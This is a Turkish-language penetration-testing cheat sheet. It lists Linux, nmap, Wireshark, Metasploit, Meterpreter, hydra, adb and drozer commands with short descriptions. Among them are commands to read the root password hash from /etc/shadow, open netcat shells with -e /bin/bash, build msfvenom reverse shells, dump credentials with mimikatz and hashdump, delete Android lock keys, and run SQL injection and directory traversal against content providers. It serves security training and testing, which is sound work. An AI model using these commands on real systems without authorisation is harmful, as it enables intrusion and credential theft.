Komut Açıklama
arp arp tablosunu gösterir.
netstat -nlp Aktif bağlantıları gösterir -t TCP -u UDP portları.
netstat -r Routing tablosunu verir. Alternatif route komutu.
find /etc/ -size +10k -exec ls -la {} \; Parametrelere göre dosyayı bulur ve listeler. -name isim. -type [d (dizin) r (regular file)]
wget —no-check-certificate url https'den wget ile veri cekme.
ps -aux | grep sshd sshd servisinin çalışıp çalışmadığını gösterir.
grep "a" file Dosya içinde arama yapar. -v hariç -i büyük/küçük uyumu kaldırır. -R recursive arama yapar.
tree -d -L 3 Agac yapisiyla listeleme yapar. -d directory -L derinlik
pkill ssh ssh processini öldürür. -t -u user #user in tum processlerini oldurur.
bg Backgroundtaki işlemleri gösterir. fg % id ile ön plana alınır.
watch -n 2 ‘command’ 2 saniyede bir verilen komutu koşar sonuc gosterir.
macchanger Mac adresi değiştirme -r random mac verir. Alternatif= ifconfig eth0 hw ether 00:01:02:03:04:05
cat /etc/shadow | grep root | cut -d ':' -f 2 root kullanıcısının hash sifresini verir.
find / \( -perm -u+s -or -perm -g+s \) -type f -exec ls -l {} \; SUID set edilmiş uygulamaları verir.
iptables -A INPUT -p tcp —dport ssh -s ip -j REJECT -A [INPUT|OUTPUT|FORWARD] -p protocol -dport port -s ip -j [ACCEPT|REJECT|DROP]
iptables -L iptables kurallarını listeler. -F tüm kuralları siler.
iptables -D INPUT 1 1 numaralı input kuralını siler.
nc -vlp 4444 4444 portu dinler. -e /bin/bash yazan shell verir.
nc -vvn ip port verilen ip ve porta baglanır. -e /bin/bash yazan shell verir. backdoor varsa shell alır.
telnet host ip Port kontrolü için işe yarar. İlkel ssh
awk & sed Description
sed 's/string1/string2/' file tüm string1ler yerine string2 yazar.
sed 's/ /:/' file Bosluk ile ayrılan stringleri : ile ayırır.
sed -n '/A/,/B/ p' A ve B arasındaki kalan verileri gösterir. '1,5 p' 1 ve 5 arası '5, p' sadece ilgili satır. '5,$ p' satır sonuna kadar.
sed ‘2 d’ file 2. satır hariç diğerleri. ‘/str/ d’ str gecen satırlar hariç. '2,$ d’ 2.satırdan sona kadar siler kalanı gelir.
awk ‘{print $1}’ file Boşluk referans alınarak ilk sütünü yazdırır.
awk ‘/x/{print $4}’ file İçerisinde x geçen stringlerin 4. kolonu yazdırılır.
awk ‘$3 > 5{print $4}’ file 3.kolonu 5 ten büyük olanların 4.kolonlarını yazdırır.
ls | awk -F ‘.’ ‘/txt/{print “mv “$1”.”$2” “$1”.pdf”}’ | bash Dizindeki tüm txt dosyalarını pdf yapar. -F '.' seperator belirler.
Önemli Dizinler Description
/etc/passwd Kullanıcı bilgileri
/etc/shadow Kullanıcı şifreleri
/etc/hostname Hostname bilgisi
/etc/hosts Hosts dosyası
Komut Açıklama
Wireshark Filter Description
ip.addr==ip ip ye göre filtreleme yapar | ip.src kaynak ip.dst hedef
ip.addr==ip1 && ip.addr==ip2 İki ip arasındaki paketleri filtreler
tcp.port==80 Sadece 80 portundan yapılan tcp trafiği.
tcp contains traffic 'traffic' kelimesini içeren tcp paketleri string araması.
http sadece http paketleri
http.request Sadece http ile yapılan /GET istekleri.
http.request.method=="POST" Post yapılan http istekleri.
http.cookie http ile oturum acılmıs paketleri getirir
telnet, icmp, dns, ssh, arp, udp, smtp Belli başlı protokoller
Nmap Komutları Description
nmap -sS -sV -sC -T4 ip | tee out SYN tarama. Version, Script taraması. -p- Tüm portları tara
nmap -sU ip | tee out SNMP için udp taraması - snmp port 161
nmap -sn 172.18.90.0/24 | awk '/192/{print $5}' | tee iplist.txt Networkte acık olan pcleri iplist.txt ye yazar.
locate *.nse tum nmap scriptleri
nmap -sV —script nfs-showmount -iL iplist.txt İpdeki paylaşımda olan klasörleri gösterir.
NFS ve SNMP Komutları Description
showmount -e [ip] hedefteki paylaşılan dosyaları gösterir
mount -t nfs [ip]:/dizin /mnt/dizin paylasılan nfs'yi mount etme.
snmpwalk -v 1 -c public [ip] Tum public dataları ceker.
snmpset -v 1 -c public [ip] [OID] Tum public dataları ceker.
snmpset -v 1 -c [community] [ip] [OID] [datatype] "[value]" snmp setleme yapar. datatype string -> s
Yaygın olarak kullanılan portlar Deskripşın
21 Ftp
22 Ssh
23 Telnet
25 Smtp
53 Dns
443 Https
445 Samba, smb,netbios)
3306 Mysql
1433 Mssql
8080 Tomcat
3390 Rdp
160,161 snmp
5900 vnc
3389 rdp
Komut Açıklama
Yaygın Metasploit Brute Force Modülleri Description
auxiliary/scanner/ssh/ssh_login [BruteForce] - SSH
auxiliary/scanner/postgres/postgres_login [BruteForce] - POSTGRESQL
auxiliary/scanner/telnet/telnet_login [BruteForce] - TELNET
auxiliary/scanner/http/tomcat_mgr_login [BruteForce] - TOMCAT
auxiliary/scanner/smb/smb_login [BruteForce] - SAMBA,SMB,(microsft-ds)
auxiliary/scanner/vnc/vnc_login [BruteForce] - VNC | vncviewer [ip] login sadece password gerekli.
auxiliary/scanner/telnet/telnet_version Telnet Version erisim gelebilir
auxiliary/scanner/snmp/snmp_enum snmp community stringlerini cekiyor. UDP unutma.
exploit/multi/samba/usermap_script #samba 3.x Remote Code Execution
exploit/unix/ftp/vsftpd_234_backdoor vsftpd v2.3.4 Remote Code Execution
auxiliary/scanner/http/tomcat_mgr_upload Tomcat 6 Remote Code Execution
exploit/unix/irc/unreal_ircd_3281_backdoor UnrealIRCd Remote Code Execution
MSFVenom Komutları Description
msfvenom -p [payload] LHOST=[Kali Ip] LPORT=[Kali Port] -f exe -o dosya.exe Reverse shell oluşturma.
msfvenom -p [payload] LPORT=[Magdur port] -f type -o output Bind shell oluşturma.
Meterpreter Komutları Description
execute -F cmd.exe Process başlatma
getuid Useri gosterir
getsystem Sistem yükseltme
use mimikatz Mimikatz baslatır.
mimikatz_command –f sekurlsa::logonPasswords Ramden sifreleri okur.
hashdump SAM Databaseden hashli sifreleri alır. 31d6 sifre yok demektir
Pivoting Description
route add [ip] [mask] [session] Kurbanın ip si verilir./32
Meterpreter : ifconfig Kurbanın baglı olduğu networkler görünür.
run autoroute -s [subnet]/24 Subnet otomatik route ekleme.
auxiliary/scanner/portscan/tcp Subnette port tarama modülü.
portfwd add -l 4444 -p 21 -r [IP] Meterpreter: -l kaliport -p kurbanport -r kurbanip
Brute Force Toolları Description
hydra -C metasploitableuserpass.txt IP ssh ssh bruteforce(with seperate :)
hydra -L user.lst -P pass.lst telnet://IP Telnet bruteforce
hydra -C userpass.lst telnet://IP Telnet bruteforce. Verilen dosyadakiler ":" seperate edip dener.
medusa -U userdeneme.txt -P passdeneme.txt -h 192.168.1.41 -M ssh Küçük(u, p, h) parametreleri tek bir değer; büyük(U,H,P) ise wordlistler
ncrack ip:port -U user.txt -P password.txt/td> Servisi kendi tespit eder. Bulunca p tusu gösterir.
Wordlist Description
/usr/share/metasploit-firmware/data/wordlists Metasploit default wordlists
Komut Açıklama
Terminal abd Command Description
$adb devices list devices
$adb shell shell oturumu alir.
$adb -s [ip]:[port] shell birden fazla emulator varsa secer.
$adb push [source] [target] dosya gondermeye yarar.
$adb pull [source] [target] dosya cekmeye yarar.
$adb shell [command] Android shelde kosar terminale getirir.
$adb install [apkfile] install apk to emulator.
$adb uninstall [com.packagename] uninstall apk from emulator.
$od -t x1 gesture.key hash degerini cikarir.
$od -t x1 gesture.key | tr -d " \t\n\r" | cut -c 8-39 gesturenin ilk satirini alir.
Shell Android Komutlari Description
#pm list packages kurulu paketleri listeler
#rm /data/system/*.key pin veya password kaldirma.
#id userid gosterir.
Statik Analiz Description
$apktool d [apkfile] -o [output] manifesto,resource ve dex dosyasi elde edilir.
$d2j-dex2jar.sh [apk] -o [output].jar jar kodlara cevirir.
Jd-Gui www.javadecompiler.com dex2jardan alinmis dosyanin komutlarini gosterir gui.
-String Çıkarma [Obfuscation varsa] Description
/res/values/public.xml Jd-Gui ciktisindan id alinarak hexe cevrilir ve public.xml'de bulunur.
/res/values/[type].xml Verinin tipine gore xml dosyalarda tutulur.
-Acilan Paketi Imzalayarak Geri Paketleme Description
$apktool b [sourcefolder] -o [apkfile] tekrar paketleyerek apk yapar.
$keytool -genkey -v -keystore keyfile -alias mk -keyalg RSA -keysize 2048 -validity 25000 keyfile olusturur.
$jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore keyfile mario.apk mk apk imzalama
Dinamik Analiz Description
adb shell monkey -p com.hvl.mobile -v 500 Stress test yapar.
adb shell am start -n com.example.myapp/com.example.myapp.TargetActivity İstenilen aktiviteyi direk çalıştırır.
adb forward tcp:31415 tcp:31415 Drozer için portforward.
drozer console connect Drozer baglantısı. Drozer.apk yuklu olmalı ve baslatılmalı.
run app.package.list Drozer yüklü paketleri adlarıyla listeler.
run app.package.info -a com.example.myapp Paket hakkında bilgi verir.
run app.package.list -p android.permission.READ_SMS All Permissions READ_SMS yetkisine sahip uygulamalar.
run app.package.list -p android.permission.INSTALL_PACKAGES INSTALL_PACKAGES yetkisine sahip uygulamalar.
run app.package.list -f "My Application" Uygulamanın yüklü oldugu yeri verir./data/data
run app.package.attacksurface com.example.myapp Uygulamanın zafiyet olabilecek yerlerini gösterir.
run app.package.list -u 1000 Shell yetkisi olan uygulamaları listeler.
run app.provider.info -a com.example.myapp Content Provider izinleri hakkında bilgi verir.
run scanner.provider.finduris -a com.example.myapp Content Provider Urllerini gösterir.
run app.provider.query content://com.example.myapp.contentprovider/notes Content Provider Urllerini gösterir.
Drozer Permission Alarak Content Provider İle Sql İnjection Description
run app.package.list -f "Uygulama Adı" Uygulama paketi bulunur.
run app.package.attacksurface com.example.myapp Content Provider sayısına bakılır.
run app.provider.info -a com.example.myapp Uygulama provider izinleri alınır.
permissions Drozer izinlerinde gerekli izin olup olmadığı kontrol edilir.
sudo drozer agent build --permission com.example.myapp.READ_NOTE Gerekli izin verilerek drozer paketlendi.
adb uninstall com.mwr.dz Eski drozer emulatorden silindi.
sudo mv /tmp/[cp]/agent.apk . Yeni apk current dizine alındı.
adb install agent.apk Yeni drozer kuruldu.
permissions Tekrar yetkilere bakıldı.
run app.provider.query content://com.example.myapp.contentprovider/simple Yetki ile komut calıştırıldı.
run app.provider.query content://com.example.myapp.contentprovider/simple --selection "_id=1 or 1=1" Tüm tabloyu getirir.
run app.provider.query content://com.example.myapp.contentprovider/simple --projection "* from sqlite_master;" Provider manipule edilerek baska tablo alınır.
run app.provider.read content://com.example.myapp/../../../etc/hosts Canonical path kullanılmadığında Directory Traversal yapılabilir.
Önemli Dizinler Description
/data/data yuklu uygulamaların sandbox'ları bulunur. ls -la ile uygulama userı bulunur.
/data/data/com.android.providers.telephony/ sms ve mms database sharedprefs diger appslerde burada.
/data/data/[app_package_name]]/shared_prefs Uygulamanin paylasilan dosyalari onemli!!!
/data/data/[app_package_name]]/databases Uygulamanin database dosyalari onemli!!!
/data/app/ Tüm uygulamaların apk dosyaları bulunur.
/data/system/*.key pincode and pattern key file
/data/system/locksettings.db pin salt value
/sdcard/ sdcard dizini.
Komut Açıklama
Postgre Sql Komutları Description
psql -U [user] -h [ip] psql connect
\l or \list Veri tabanlarını listeler.
\c [db_name] Veri tabanı seçme
\dS Tabloları listele
\d [table_name] Tablodaki sutunları listele
SELECT * FROM "table_name"; Tablodaki verileri listele
Mysql Komutları Description
mysql -u [user] -h [ip] mysql connect
show databases; Veri tabanlarını listeler.
use [db_name] Veri tabanı seçme
show tables; Tabloları listele
Sqlite Komutları Description
sqlite3 [db_name]; db_name adındaki veritabanını açar. Yok ise oluşturur.
.tables; Seçilen databasedeki tabloları listeler.
select * from [table_name]; Tablodaki verileri listeler
Komut Açıklama